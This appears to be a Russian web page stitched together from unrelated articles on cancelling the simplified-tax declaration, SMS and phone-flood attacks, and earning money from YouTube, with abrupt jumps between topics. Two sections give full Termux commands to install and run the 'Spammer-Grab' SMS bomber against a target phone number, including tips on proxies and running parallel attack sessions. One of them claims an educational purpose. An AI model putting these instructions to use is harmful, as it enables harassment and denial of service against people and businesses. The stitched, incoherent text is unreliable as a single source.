Поэтому рассчитывать на освобождение от составления декларации могут исключительно фирмы или ИП, которые следуют новым правилам работы с применением ККТ. Такие правила закрепляются в Приказе ФНС № ММВ-7-20/207@. Он был принят еще в апреле 2018 года.
Упрощенцы с начала следующего года должны внести некоторые правки в реквизиты чеков, выдаваемых покупателям. Чеки следует пробивать при совершении абсолютно любой операции, чтобы налоговики смогли правильно определить налоговую базу, необходимую для расчета налога.
До внесения изменений не требовалось выбивать чеки, если совершались операции, связанные с покупкой дивидендов, перечислением разных взносов или уплатой штрафов или пеней покупателями.
Какой лимит установлен при применении УСН? Смотрите тут.
Дополнительно не требуются чеки при безвозмездном поступлении денежных средств или получении пособий. В связи с новыми изменениями теперь налогоплательщики обязаны выбивать чеки по всем поступлениям средств.
Это приведет к значительному увеличению нагрузки на кассиров, но при этом предпринимателям не придется заниматься составлением годовой отчетности. Поэтому ИП могут сэкономить на оплате труда профессиональных бухгалтеров.
Декларации по УСН должны сдаваться ежегодно всеми ИП или фирмами, которые пользуются данным налоговым режимом. Но с 2019 года вводятся изменения, позволяющие не составлять и не сдавать в ФНС данную отчетность.
Как заполнить декларацию по УСН? Смотрите видео:
Воспользоваться такой возможностью смогут только налогоплательщики, применяющие систему «Доходы», а также использующие во время работы онлайн-кассу.
Такие изменения позволяют сэкономить время на составление отчета, но они увеличивают расходы времени и средств на регулярное создание чеков по всем совершаемым операциям.
fbm.ru
Правда ли, что с 2020 года для ИП и организаций отменили сдачу деклараций по УСН? Ответим на вопрос и приведем комментарии.
Все упрощенцы обязаны ежегодно подавать декларацию по УСН. Крайний срок для организаций – 31 марта следующего года. Для предпринимателей – 30 апреля следующего года (ст. 346.23 НК).
Также все упрощенцы обязаны заполнять Книгу учета доходов и расходов. Книга учета доходов и расходов предназначена для правильного формирования налоговой базы по налогу при упрощенке. Поэтому в ней необязательно отражать хозяйственные операции, не влияющие на расчет налога. Это следует из положений статьи 346.24 НК.
Важная поправка, запланированная законодателями с 2020 года – отмена налоговой декларации по налогу, уплачиваемому в связи с применением упрощенной системы налогообложения. Отмена декларации по УСН должна коснуться упрощенцев с объектом налогообложения «доходы».
На сайте Минфина был опубликован проект об отмене декларации по УСН для плательщиков налога с объектом налогообложения «доходы», которые применяют онлайн-кассы (подп. 3.1 п. 3 Проекта Минфина России основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов по состоянию на 11.07.2018).
См. сайт Минфина
См. Законопроект на стадии разработки Минфина
Упрощенцы, которые перешли на новый режим «УСН онлайн», не подают ежегодные декларации.
Для этого Минфин планирует ввести новый режим УСН-онлайн. Он будет доступен для тех налогоплательщиков, которые используют онлайн-ККТ. Эти организации и ИП не будут подавать налоговую декларацию и заполнять Книгу учета. При этом все доходы они проводить через онлайн-ККТ и передавать информацию в ИФНС. Чтобы перейти на новый режим, упрощенцы должны будут подать специальное заявление в ИФНС.
Налоговую декларацию по УСН смогут не подавать те налогоплательщики, которые перешли на новый режим УСН онлайн. Они должны будут все доходы, а не только денежные, пробивать на онлайн-ККТ. Зато Книгу учета им вести не придется.
Последние новости: ожидается, что перейти на новый режим УСН онлайн обычные упрощенцы смогут с 1 июля 2020 года.
Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.
buhguru.com
Налоговых деклараций для бизнеса скоро станет меньше. Это уже подтвердили Минфин и ФНС России, которые намерены упразднить обязанность налоговую декларацию по УСН. Правда не для всех налогоплательщиков. Некоторым из них придется отчитываться, как и прежде.
Минфин России опубликовал Проект основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов, из которого, в том числе, следует намерение чиновников отменить для организаций и индивидуальных предпринимателей обязанность отчитываться по упрощенной системе налогообожения. Правда, такое послабление затронет, к сожалению, не всех налогоплательщиков УСН.
Позитивные изменения должны затронуть те организации и предпринимателей, которые одновременно:
В сообщении Минфина так и сказано:
Отмена обязанности представления налоговой декларации налогоплательщиками, применяющими УСН с объектом налогообложения в виде доходов и использующими контрольно-кассовую технику, обеспечивающую передачу фискальных данных в налоговые органы в режиме «он-лайн».
Дело в том, что ФНС России имеет возможность самостоятельно отслеживать все поступления денежных средств в кассу и на расчетный счет налогоплательщика. Значит, налоговики могут рассчитать налог, который должны оплатить такие налогоплательщики, и проверить, насколько правильно он был оплачен. В этом случае, по мнению чиновников, отчетность является избыточной мерой и в принципе не нужна.
Как будет происходить исчисление и уплата налога на УСН после отмены декларации? К сожалению, это до конца пока остается неясным. Скорее всего, как и сейчас, налогоплательщики будут самостоятельно исчислять и оплачивать авансовые платежи, а также налог за год. Инспекторы ФНС будут сверять перечисленные суммы с тем налогом, который исчислят на основе данных о поступлениях в кассу и на расчетный счет. В случае расхождения данных у налогоплательщика потребуют пояснений и оштрафуют, если он недоплатил.
Второй вариант состоит в том, что налоговики будут направлять в адрес налогоплательщиков требования с точной суммой налога к уплате. Тогда ее останется только оплатить. Правда, каким образом это будет возможно для ИП, которые имеют право уменьшать налог на УСН на сумму уплаченных страховых взносов за себя и за работников, пока остается не ясным.
Для налогоплательщиков, выбравших объектом налогообложения «доходы минус расходы», обязанность сдавать декларацию по УСН никто отменять не собирается. Дело в том, что даже если они используют онлайн-ККТ, им намного сложнее исчислять налог, поскольку они уменьшают доходы на расходы из утвержденного перечня. Налоговики не имеют данных о таких расходах налогоплательщика, поэтому без сдачи налоговой декларации в данном случае не обойтись. Поэтому таким налогоплательщикам придется и дальше ежегодно сдавать отчеты в ИФНС.
В Минфине отмечают, что для для отмены деклараций по УСН необходимо внести поправки в Налоговый кодекс РФ. Если даже законопроект будет принят Госдумой в ближайшее время, изменения смогут вступить в силу не раньше 2019 года. То есть за 2018 год налогоплательщики будут отчитываться в обычном режиме. А в первый раз не сдать отчетность налогоплательщики на УСН смогут только за 2019 год в 2020 году.
ppt.ru
Ранее президент РФ Владимир Путин ставил задачу Правительству рассмотреть вопрос об отмене декларации по УСН для тех организаций и индивидуальных предпринимателей, кто применяет упрощенную систему налогообложения. Данная мера направлена на сокращение ненужной нагрузки по сдаче лишней отчетности.
Согласно внесенному на рассмотрение документу организации и ИП, которые ранее предоставляли в ФНС декларацию по УСН будут освобождены от данной отчетности. Однако это касается тех, кто применяется онлайн кассы, а они в основном применяются в розничной продаже.
Данная мера основывается на том, что онлайн кассы и так передают всю необходимую информацию в ФНС п операциям купли-продажи. На основании данной информации налоговики смогут сами осуществить начисление налога.
Затем инспектора либо будут выставлять требование об уплате налога, либо списание будет производиться автоматически с расчетного счета хозяйствующего субъекта. Означает, что это будет проще? Вероятно да, но скорее всего в переходный период возникнет не мало вопросов.
Внимание! Очевидно, что те кто не применяет онлайн кассы, например, если ООО или ИП работают только по расчетному счету – декларации будут сдавать как и прежде. Либо в дальнейшем контроль по операциям по банку будет полностью передан ФНС.
Согласно паспорта проекта пакет поправок должен быть рассмотрен Правительством 17 сентября, а вступить в действие данная мера должна до 20 декабря 2019 года. Т.е. получается, что пока отчетность за 2018 год будет сдаваться в обычном режиме.
Для того, чтобы налоговики смогли рассчитать налог по УСН с 1 января, согласно приказа ФНС № ММВ-7-20/207@ от 09.04.2018 зарегистрированного 25 июля в Минюсте, вводятся новые правила работы с ККТ. С нового года упрощенцы должны будут изменить реквизиты чеков и пробивать их на все операции, которые прописаны в НК.
Внимание! В настоящее время не обязательно бить чеки на операции по расходам на дивиденды, взносам, штрафам и пени от покупателей, безвозмездным поступлениям, пособиям и т.д. Получается, что с одной стороны убрали одну годовую отчетность, а прибавят лишней работы кассирам.
buhproffi.ru
Добрый день, уважаемые ИП!
Еще в марте этого года писал, что, возможно, отменят налоговую декларацию для ИП на УСН “доходы”. Но только если ИП применяет онлайн-кассу. Вот эта статья:
Внезапно: похоже, что отменят декларацию по УСН с 2019 года. Но только если используете онлайн-кассу.
История получила продолжение в документе МинФина под названием “Проект основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов”
https://www.minfin.ru/ru/document/?id_4=123006
А в нем, среди прочих инициатив, написано буквально следующее:
Отмена обязанности представления налоговой декларации налогоплательщиками, применяющими УСН с объектом налогообложения в виде доходов и использующими контрольно-кассовую технику, обеспечивающую передачу фискальных данных в налоговые органы в режиме «он-лайн».
То есть, ждем скорую отмену налоговой декларации по УСН “доходы”, но только для тех, кто применяет онлайн-кассы. Только вот непонятно, что делать тем ИП, которые начали применять кассы с 1 июля 2018 года? Ведь данные в ФНС в этом случае будут передаваться только полгода.
Похоже, сделают освобождение только для тех ИП, которые применяли онлайн-кассы полный 2018 год (или с начала деятельности ИП, или сразу после регистрации в качестве ИП).
Подчеркну, что это проект, а не закон. Следите за новостями блога, я мониторю эту тему.
Уважаемые читатели!
Готово подробное пошаговое руководство по открытию ИП в 2019 году. Эта электронная книга предназначена прежде всего для новичков, которые хотят открыть ИП и работать на себя.
Она так и называется:
Из этой инструкции Вы узнаете:
Я создал этот сайт для всех, кто хочет открыть свое дело в качестве ИП, но не знает с чего начать. И постараюсь рассказать о сложных вещах максимально простым и понятным языком.
dmitry-robionek.ru
Смс и DDOS атаки широко применяется злоумышленниками для блокировки работы предприятий, доставку неудобств частным лицам и нанесения морального ущерба. Спам-атака на мобильное устройство – постоянные звонки или сообщения, которые приходят к вам на телефон. Как это работает? Представьте, что у вас зазвонил телефон. Вы берёте трубку и вызов сразу сбрасывается или включается какая-то запись. Через пару секунд звонок повторяется, как и вся последовательность действий. И так может быть постоянно. Подобные атаки могут проводится не только на устройства мобильной связи, но и на скайп, IP-телефонию и др.
Постоянный поток сообщений может нести в себе рекламу, новости, призыв к действию или содержать ссылки на вирусы. Многие люди путают смс-атаки и подписку, на которою сами согласились. Если вы дали разрешение какой-то компании оповещать вас об акциях и новинках, то есть риск получения большого количества сообщений. Некоторые предприятия могут переборщить с рассылкой. В таком случае вы можете отказаться от подписки, в отличии от настоящего спама.
Спам сообщений – непрерывный поток SMS с бессмысленным содержанием, угрозами, рекламным содержанием или вирусами. Вы будете получать их с различных телефонным номеров. Отличительной особенностью атаки является формат контактов, с которых идёт рассылка. Они могут начинаться с +6. Вред такой атаки заключается в том, что сообщения приходят быстрее, чем вы сможете очищать от них память устройства. Иногда единственным выходом является выключение телефона или смена номера.
Возможность реализовать злонамеренные действия появилась по причине слабой защиты смс-шлюзов, которые используются для обмена сообщениями владельцы смартфонов. Вы могли встречать примеры работы шлюзов на примере сайтов, позволяющих отправлять бесплатно короткие сообщения с использованием виртуального номера.
Шлюзы иногда используют в коммерческих целях. К ним подключают специальный софт для массовых отправок SMS. Подобные приложения позволят:
Интерфейс шлюзов довольно прост и этим пользуются злоумышленники. При этом спам приходит и на линии IP-телефонии. Спамеру достаточно создать учётную запись и он может отправлять бесчисленное количество SMS. Такой метод вреда пользователям имеет сравнительно низкую стоимость и высокую эффективность.
Данный тип вредоносной активности появился сравнительно недавно. Ранее от подобного страдали специалисты по обслуживания серверов, так как огромный поток данных мог «положить» сервер и сбить все настройки.
Принцип дос нападений на гаджет остаётся таким же как и на сервер. При этом опасности подвергаются пользовательские данные, настройки и прочая конфиденциальная информация. Если DDOS нападение будет успешным, то злоумышленники могут получить доступ к вашим страницам в социальных сетях, к платёжным средствам, e-mail и др.
Каждый может стать мишеней для злоумышленников и для этого достаточно начать посещать сайты с сомнительным содержанием. Важно помнить, что смартфон имеет куда меньшую защиту, чем персональный компьютер.
Что нужно делать, если вы подверглись атаке?
Самое страшное, что может случится после обращения к оператору, так это временная блокировка контакта. Проще решить проблему тем, кто активно использует IP-телефонию. Можно просто заблокировать спамеров, которые атакуют вас. С решением проблем после дос атак дело обстоит сложнее, но тоже решаемо. При наличии специальных знаний, вы сможете без проблем устранить последствия нападения. Если вы не знаете, как это сделать, то сможете обратиться к оператору и указать свой виртуальный номер.
blog.mtt.ru
Для того, чтобы ухудшить доступность телекоммуникационных сервисов, существует DDos атака на мобильный телефон. При такой атаке становится невозможным дозвон на конкретный номер телефона.
Такие атаки применяются конкурентами фирмы, для того, чтобы ухудшить их связь с клиентом.
DDos осуществляется на номера, которые указаны на сайте или в рекламном буклете фирмы, как контактные. Поэтому многие фирмы отказываются от использования мобильного номера в качестве контактного. Ибо на стационарный телефон такую атаку осуществить гораздо сложнее.
Мобильные номера имеют лимит входящих звонков. Поэтому, чтобы парализовать компанию, конкурентам достаточно заказать атаку с использованием 10-ти канального транка.
Наиболее часто DDos-атаке поддаются предприятия, которые оказывают услуги по: мойке машин, продаже товаров через интернет-магазин, служба такси и т.п. То есть, все те виды деятельности, в которых очень важно взаимодействие клиента по телефону.
Содержание статьи:
Существует несколько разновидностей, по которым может происходить атака.
Конечно же никто самостоятельно не сидит сутками над телефоном и не делает звонки. Работа происходит через облачную телефонию. Это также обеспечивает анонимность флуда. За что платит заказчик? За аренду необходимого оборудования.
Сделать атаку хакеры могут запросто, а вот прекратить ее с помощью привлечения других хакеров – никто не может. Поэтому есть легальные переговорщики.
Проблема заключается в том, что и защиты от атаки не существует. Есть основные правила, но они не дают 100 процентную гарантию защиты.
Рекомендуется в качестве контактного телефона использовать номер не мобильный, а прямой многоканальный 499 или 495, у которого нет абонентской платы. Также стало популярно использование голосового приветствия, после которого звонящему нужно нажать нужную цифру для соединения с каким-либо отделом.
Если вы решили, что хакеры помогут вам избавиться от многих проблем и от конкурентов, то вам стоит задуматься. Ведь сейчас есть компании, которые могут решить множество проблем, не прибегая к запрещенным методам.
К тому же, нет гарантии того, что вы останитесь анонимным. Ведь хакеры любят перепродавать имена заказчиков.
Компания Топодин поможет разрешить все вопросы честными способами.
Смотрите так же на нашем сайте:Создание прототипа в Axure RP
topodin.xyz
Вводим каждую строку отдельно:
Clear
pkg update
pkg install git
pkg install python
pkg install python2
pip2 install requests
git clone https://github.com/p4kl0nc4t/Spammer-Grab
ls
chmod +x Spammer-Grab
ls
cd Spammer-Grab
ls
chmod 777 spammer.py
Всё готово, осталось только запустить наш бомбер этой командой:
python2 spammer.py —delay (пишем время задержки в сек, без скобок) —proxy (сюда пишем ссылку на прокси) и номер без +
Например:
python2 spammer.py —delay 5 —proxy http://177.35.25.32/ 7945314261234
Можно обойтись и без прокси, но тогда толку будет не особо много. Так что советую их использовать.
Есть бесплатные прокси, например https://awmproxy.com/freeproxy.php
Получаете ссылку оттуда и вставляете в Termux
Можете использовать платные прокси, тогда бомбежка будет просто адской.
И так у нас всё готово.
Чтобы остановить бомбёжку можно просто выйти из приложения.
Если захотите запустить несколько атак:
Делаете свайп в право и нажимаете New session.
Вводим:
cd Spammer-Grab
python2 spammer.py и сюда снова все параметры
Если закрыли Termux и хотим снова запустить бомбер делаем тоже самое:
cd Spammer-Grab
python2 spammer.py и сюда снова все параметры
В конце добавлю, на эмуляторах аднройда работать не будет, только на мобилах или Kali Linux.
miped.ru
Смс спам появился еще на заре Рунета, с начала 2000-х на постсоветском пространстве наблюдался активный рост абонентской базы телекомуникационных компаний. Разумеется одними из первых успели почувствовать на себе все прелести спама, владельцы пейджеров и сотовых телефонов. С тех пор прошло более 10 лет, развитие виртуальных сетей и фильтров систем автоматического скоринга, позволили операторам снизить риски от сомнительной рекламы. Но не все так просто, смс спам все ещё жив.
Сомнительные объявления в соц.сетях и на досках предлагают услугу когда определенный номер забрасывают смсками или переодическими вызовами, блокируя возможность для его владельца принимать звонки и входящие сообщения. В образовательных целях мы рассмотрим некогда популярный и простой софт SMS Bomber которым любят пользоваться простые обыватели и по сей день. А также разберем аналог в виде скрипта написанного на Python.
Цель статьи показать как выглядят действия обычных спамеров на практике. Здесь специально не будет про углубленную автоматизацию и другие моменты. Статья не нарушает норм и требований действующего законодательства, не призывает и не рассказывает о том как делать массовый смс спам. Наша цель ответить на вопросы, а работает ли популярный и бесплатный софт для смс спама и провести свое независимое иследование.
Судя по статистике поисковых запросов, смс бомбер продолжает пользоваться популярностью. Но позволит ли он достичь цели спамерам?
Начав поиски работающего дистрибутива, я проверил около 40 доступных публично источников, версии были самыми разными от 2 до 5. В ~70% при проверке на virustotal выдавали вшитые трояны и прочую нечисть.
Тем не менее была найдена одна из последних стабильных рабочих версий, при проверке на все доступные на момент написания статьи сигнатуры, она оказалась чистой! Скачать этот архив SMS Bomber можно по ссылке.
Далее мы попробовали отправить смс на несколько своих контрольных номеров у 4 операторов — Мегафон, МТС, Билайн и Теле2. Результаты печалят.
В результате из 8 способов отправки у всех четырех номеров работал только 1 способ. Теле2 и Билайн сразу же срезали подозрительный трафик и поток сообщений остановился через 1,5 минуты.
У Мегафона и МТС это произошло немного позже. Прокси на каждый номер был свой. Настроить прокси через интерфейс самого бомбера невозможно, пришлось настраивать через командную строку. В целом если настроить работу для нескольких одновременно открытых окон и подобрать интервал этот софт по прежнему способен доставлять смс, однако ему далеко до платных аналогов и даже до скрипта о котором пойдет речь далее.
Наш эксперимент выше показал, что несмотря на то, что за последние годы каналы доставки отвалились и работает только 1 из 8 (возможно потому, что разработчик не поддерживает более софт), бесплатный бомбер для Windows все ещё работает. Он неудобный, не имеет встроенных настроек прокси, текста сообщения, опытные спамеры его явно не используют. Сегодня это больше игрушка и баловство.
Cовременные спамеры и прочие нарушители рекламного спокойствия используют приватные скрипты, как правило они пишутся под планшеты или телефоны под управлением Android, иногда используют также ПК с Linux. Разберем один из похожих вариантов, публично доступных на гитхабе.
Шаг 1. Устанавливается эмулятор Termux.
Для стабильной работы Android должен быть версии выше 4.4 Для Linux понятное дело всё проще, там дальнейшие действия делаются из консоли.
Шаг 2. Покупаются или берутся бесплатные прокси.
Бесплатные будут быстро отваливаться, впрочем покупные тоже через некоторое время улетят в бан, у большинства селеров продающих приватные прокси есть свои системы контроля трафика, при первой подозрительной активности, админы блокируют доступ, но профессиональные злоумышленники просто поднимут свой пул адресов для этих целей.
Шаг 3. Настройка и установка необходимых пакетов.
В командной строке Termux вводятся команды для добавления пакетов и клонирования репозитория с скриптом Spammer-Grab.
Каждая команда отдельно с новой строки:
Clear
pkg update
pkg install git
pkg install python
pkg install python2
pip2 install requests
git clone https://github.com/p4kl0nc4t/Spammer-Grab
ls
chmod +x Spammer-Grab
ls
cd Spammer-Grab
ls
chmod 777 spammer.py
На вопросы «Do you want to continue?» отвечаем Y, через некоторое время все необходимые скрипты и пакеты будут установлены, заданы права и тд.
Шаг 4. Запуск скрипта.
Для запуска этого Android бомбера необходимо выполнить команду в таком формате:
python2 spammer.py —delay x —proxy http://xxx.xx.xx.xx/ 79xxxxxxxxx
Где —delay x — задержка в секундах, —proxy — ваш прокси, далее пробел и номер телефона без +
Если все сделано верно, скрипт начнет работу. Что бы завершить скрипт и отключить спамер, можно просто выйти из приложения.
Что бы снова включить, открываем Termux и вводим:
cd Spammer-Grab
и далее опять
python2 spammer.py —delay x —proxy http://xxx.xx.xx.xx/(ваш прокси) 79xxxxxxxxx(ваш номер)
Для работы в несколько потоков одновременно, в терминале свайп в право и New session, далее всё теже 2 команды выше.
Протестированные нами 4 номера имели примерно одинаковую динамику, даже с минимальной задержкой, а многопоточность и простая работа с терминалом и прокси, а значит и простая возможность автоматизации, через отдельный консольный скрипт, например по таймеру, делают этот способ более эффективным.
Однако если кто то сейчас думает, что это всё нужно запретить и выпилить все ссылки, то да мы тоже не любим спам, но помним про эффект Стрейзанд. Но это не главное. Главное, что есть и еще более забавный способ который практически не требует расходов на прокси и навыков автоматизации. И запретить его не возможно…
Когда-то мой знакомый работал в одной конторе, директор которой был очень сложным человеком и имел кучу врагов, и он на практике убедился, что атака на телефоны компаний может происходить и более креативным образом чем банальные скрипты. Расскажу эту историю, что бы было понятно о чем идет речь.
Дело в том, что какие-то конкуренты, каждый день распространяли через паблики и бесплатные доски объявлений, а также некоторые специфические форумы и сайты типа «Отдам даром», «Помощь и благотворительность», «Барахолка», «Продажа телефонов и тд.» сообщения которые имели определенную логику.
Сообщалось, что кто-то продает вещи по цене ниже рынка, с расчетом на то, что аудиторию этих пабликов и сайтов заинтересует товар и они будут постоянно названивать.
Разумеется номера в этих объявлениях, заботливые конкуренты указывали не свои, соответственно работа отдела продаж хаотично останавливалась, менеджеры постоянно отвечали, что никакие кроссовки и айфоны за пол цены никто не продаёт. Продолжалось это несколько месяцев, потом директор или договорился или как-то иначе решил этот вопрос.
Суть заключается в том, что от такой спам-атаки защититься ещё сложнее по скольку простые блокировки по номерам\ip\патернам набора\сообщений не работают эффективно, ведь звонить могут откуда угодно и спрашивать что угодно, причем это будут люди которые и не подозревают что происходит на самом деле и что своими звонками они мешают работе других людей.
Мы рассмотрели самые популярные способы и софт, если вы столкнулись с интересным случаем телефонного спама, расскажите в комментариях свою историю, а мы поделимся ей с нашими читателями и подписчиками. В одной из следующих статей мы разберёмся как защититься от смс спама и протестируем популярный софт для фильтрации подозрительных номеров.
Загрузка…tehset.ru
Знаменитый видеохостинг YouTube принадлежит компании Google, создан в 15 февраля 2005 года, а по итогам 2013 имеет более одного миллиарда активных пользователей. Успех настолько велик, что всё больше людей в последнее время начинают заниматься созданием собственных видеороликов и блогов в видео формате.
Для одних это является просто увлечением, а для других — способом заработка, ведь помимо развлекательных нужд, YouTube может удовлетворять ещё и финансовые.
Возникает закономерный вопрос: как заработать на YouTube? Ответ довольно банален — вездесущая, всеми нелюбимая реклама. Если вы пользовались данным сервисом хотя бы раз, то наверняка начинали просмотр видео с 15-секундного рекламного ролика и сталкивались с «выплывающей» рекламой.
Именно размещение сторонней рекламы и позволяет авторам видео получать прибыль. Возникает ещё один логичный вопрос: сколько можно заработать на YouTube таким способом? Средний заработок составляет от 5$ до 20$ за одну тысячу просмотров видеоролика, однако точную цифру определить довольно затруднительно.
Естественно, чем больше вы загрузите роликов на свой канал и чем больше людей их увидят, тем больше денег вы заработаете.
Для того чтобы начать получать деньги со своего видео, необходимо выполнить несколько действий:
Для монетизации необходимо:
Миллиардная аудитория приносит создателям YouTube многомиллионные доходы. Однако сколько же можно заработать на просмотре авторских роликов? Сайт YouTube выплачивает авторам роликов 50% (0или даже больше) от дохода с рекламы.
Например, если из 10000 просмотревших видео 10 человек перешли по рекламной ссылке, клик по которой стоит 0.6$, общий доход — 6$. 3$ забирает себе сайт, а 3$ отдаёт вам. Таким образом, за 100000 просмотров можно получить 330$, а за миллион — 3300$.
Однако, далеко не каждый клик стоит 0.6$: минимальная ставка — 0.01$, а максимальная не ограничена. Если же вы желаете получать более 75% дохода от рекламы, необходимо вступить в специальную партнёрскую программу.
Конечно, наиболее высокий доход получают создатели роликов с миллионами просмотров. В среднем он составляет около 500-1000$ всего лишь с одного видео.
Таких пользователей, доход которых стремится к миллионам долларов, на сайте уже довольно много. Ярким примером является небезызвестный Ray William Johnson, имеющий на момент написания статьи 10 684 442 подписчика.
Благодаря видеороликам развлекательного характера, суммарное количество просмотров канала Ray William Johnson составляет 2 625 166 374.
Имея 854 ролика на канале, каждую неделю добавляется ещё 1-2. Приблизительный заработок канала за всё время существования составляет 0.6$ x 2 625 166 374 : 1000 = 1 575 099$, ежемесячный доход — 262516$. Таким образом, спустя 6 лет активности в YouTube автор канала является миллионером, занимаясь любимым делом.
Помимо огромного дохода, есть и несколько дополнительных плюсов: во-первых, выкладывание роликов Ray William Johnson — дополнительный пиар его комедийного таланта, во-вторых — пассивность получаемого дохода. Ролики собирают всё большее количество просмотров, принося каналу новых абонентов без особого вмешательства автора.
Важнейшим плюсом заработка на YouTube является то, что бизнес, начавшийся с интересной новаторской идеи, может развиваться и приносить немалый доход без вашего постоянного вмешательства.
Наибольший спрос имеют ролики развлекательного характера, однако это не является обязательным условием популярности. Для любой тематики найдется своя аудитория: популярные «летсплеи», видеообзоры, инструкции, обучающие видеозаписи и т. д.
Ориентируясь на тенденции сайта YouTube, а также проанализировав свои идеи и возможности, любой пользователь может совершенно бесплатно создать успешный видеоканал.
Вполне возможно, что через несколько лет вы тоже будете обладать миллионами подписчиков и зарабатывать миллионы, но начать стоит уже сейчас. Желаем успехов!
www.internet-technologies.ru
Любите снимать видео, и, возможно, задумываетесь о том, как заработать на Ютубе на своем канале? Тогда обратите внимание на один из популярнейших в мире видеохостингов – YouTube.
Размещенное на нем видео способно приносить реальный доход.
Правда, для получения действительно ощутимой прибыли придется приложить определенные усилия.
С января 2018 года действуют новые правила монетизации Youtube, которые опубликованы на официальном сайте. Ниже приведена цитата из этих правил:
Теперь для участия в программе у канала должно быть 4 000 часов просмотра за последние 12 месяцев и 1 000 подписчиков.
20 февраля 2018 года новые требования также вступят в силу для уже существующих каналов YouTube. Таким образом, льготные правила будут действовать в течение месяца. Однако по истечении этого времени владельцы каналов, у которых менее 4 000 часов просмотра или 1 000 подписчиков, больше не смогут получать доход от своих видео. Когда количество подписчиков и часов просмотра на канале достигнет порогового минимума, заявка на участие в партнерской программе будет подана автоматически и рассмотрена с учетом строгих норм.
Содержание:
Какие именно усилия потребуются для получения дохода с Ютуба?
Не стоит сразу бросаться снимать видео, надеясь покорить Ютуб количеством снятых материалов. Очень важно подумать и о качестве. Так, прежде всего, следует понять, какие именно факторы влияют на размер дохода.
Вот некоторые из них:
1) Тема
В принципе, видео может быть любой темы. Главное – оно должно быть интересным и/или полезным. То есть, ролик должен суметь привлечь к себе максимальное внимание пользователей.
2) Раскрутка
Даже самый интересный ролик может так и остаться «в тени», если канал на Youtube не раскручен. Поэтому совсем не лишним будет заняться его рекламой, оставляя ссылки на тематических форумах или в соцсетях. Также эффективным является сотрудничество с другими каналами на Ютубе.
3) Используемый на канале язык
Замечено, что контент, записанный на английском языке, способен привлечь больше пользователей. Это связано с тем, что англоязычных пользователей Интернета гораздо больше, чем русскоязычных.
4) Количество роликов
Очевидно, что чем больше на канале будет роликов, тем большую прибыль можно будет получить. Количество интересных роликов влияет на качество канала.
5) Монетизация
Есть несколько вариантов получения дохода с видео. По возможности лучше использовать их все, ниже речь пойдет об одном из таких вариантов.
Теперь пришло время рассмотреть необходимые предварительные этапы, которые придется пройти перед тем, как заработать на Ютубе на своем канале.
1. Создание канала
Все ролики в YouTube пользователь размещает на своем персональном канале. Поэтому следует позаботиться о создании своего канала и о его красивом, грамотном оформлении. Благо, Ютюб предоставляет массу возможностей для этого. Если же Вы планируете пойти дальше «любительского» уровня, можно нанять профессиональных оформителей.
Но на начальном этапе, для «пробы пера» вполне подойдет любительский уровень своего канала просто для того, чтобы понять, нравится ли Вам заниматься видео, и не забросите ли Вы это при первой же возникшей трудности.
2. Выбор темы
Здесь главное – найти компромисс. Например, рекламные ролики приносят больше денег, но пользуются меньшей популярностью. А смешные любительские «зарисовки» очень нравятся пользователям, но «стоят» дешевле. Пытаясь найти «золотую середину», некоторые пользователи снимают, например, обзор технических новинок, преподнося его в игровой шуточной форме. Но, опять же, важно хорошо разбираться в теме, которую хочется преподнести зрителям.
3. Создание видео
Создавать ролики можно
Для второго способа есть специальные программы, например, Camtasia Studio Studio — программа для записи видео с экрана компьютера (или ноутбука). Нужно будет освоить работу с подобной программой, чтобы записывать видеоуроки. Тогда можно создать, например, руководство по работе в каком-либо сервисе или программе.
Пример ролика, записанного с помощью программы Camtasia Studio:
Если же Вы планируете снимать видео самостоятельно (с помощью камеры), обязательно обратите внимание на задний фон, освещение и оформление.
По окончанию записи проверьте качестве голоса и самого видео. С помощью специальной программы удалите из него неудачные кадры.
И только когда будете на 100 % довольны своей работой, выкладывайте ролик на Youtube. В общем, работы предстоит много.
4. Продвижение
Самый простой и эффективный способ – продвижение своих видео по ключевым запросам. Напомню, что ключевым запросом (ключом) видео является тот запрос, который пользователь вводит в поисковую строку Ютуба.
Ютуб ищет видео по указанному ключу. Затем сверху размещается реклама (1 на рис. 1), а после нее выдаются видео по запросу пользователя (2 на рис. 1):
Прежде чем свое видео выкладывать на Youtube, стоит для него подобрать ключ. Для этого можно воспользоваться любым статистическим ресурсом, например, Яндекса. Правда, понадобится свой аккаунт (своя почта) в Яндексе для того, чтобы пользоваться сервисом Яндекса.
Подбор ключевых слов: https://wordstat.yandex.ru/
Переходим по указанной ссылке. Если ролик рассказывает, например, об особенностях ухода за яблоней, следует ввести запрос «как ухаживать за яблоней». Из полученного многообразия вариантов можно выбрать любой ключ и использовать его в заголовке видео на Ютубе, в самом видео, в его описании или комментариях к видео.
Еще один вариант продвижения своих видео – сотрудничество с владельцами других продвинутых каналов на Ютубе.
И, наконец, ради продвижения видео можно заняться саморекламой.
5. Партнерство с Google
Когда канал наберет достаточное число подписчиков и просмотров, тогда можно подать заявку на партнерство с рекламной сетью Google, которая называется Google Adsense. После ее одобрения включите монетизацию, выбрав все виды. Тогда за большое число просмотров своих роликов Вы начнете получать прибыль.
Как видно, заработать на YouTube сложно, нужно учиться и осваивать много нового, но вполне возможно.
Например, за 1000 просмотров своих роликов можно получить от 1 до 5 долларов. Точную цифру назвать нельзя, она меняется в зависимости от стоимости той рекламы, которую в вашем ролике будет показывать Google.
Чем больше будет роликов, просмотров и подписчиков, тем больше возможен заработок.
Если перейти в Справку Ютуба по ссылке, приведенной ниже, там подробно, с русскими(!) субтитрами рассматриваются следующие темы:
//support.google.com/youtube/?hl=ru#topic=
Также по интернет-грамотности:
Написание статей в Интернете как способ заработка
Платные опросы: плюсы и минусы
Что делать, если на планшете не воспроизводится видео?
Виды рекламы в интернете
www.inetgramotnost.ru
Как зарабатывать деньги на просмотрах в YouTube? Только за 1 день на сайте просматривают более 4 миллиардов видео. За прошлый год медиа холдинг заработал на рекламе около 12 миллиардов долларов. И с каждым годом прибыль только растет. Почему бы и нам не попробовать отщипнуть небольшой кусочек от многомиллиардных денег, обращающихся там. Создать канал, выкладывать видео и зарабатывать деньги. Причем доход получается практически постоянным — разместили видео и забыли. Денежки дальше сами будут капать на счет без вашего дальнейшего участия. У кого то больше, у кого то меньше.
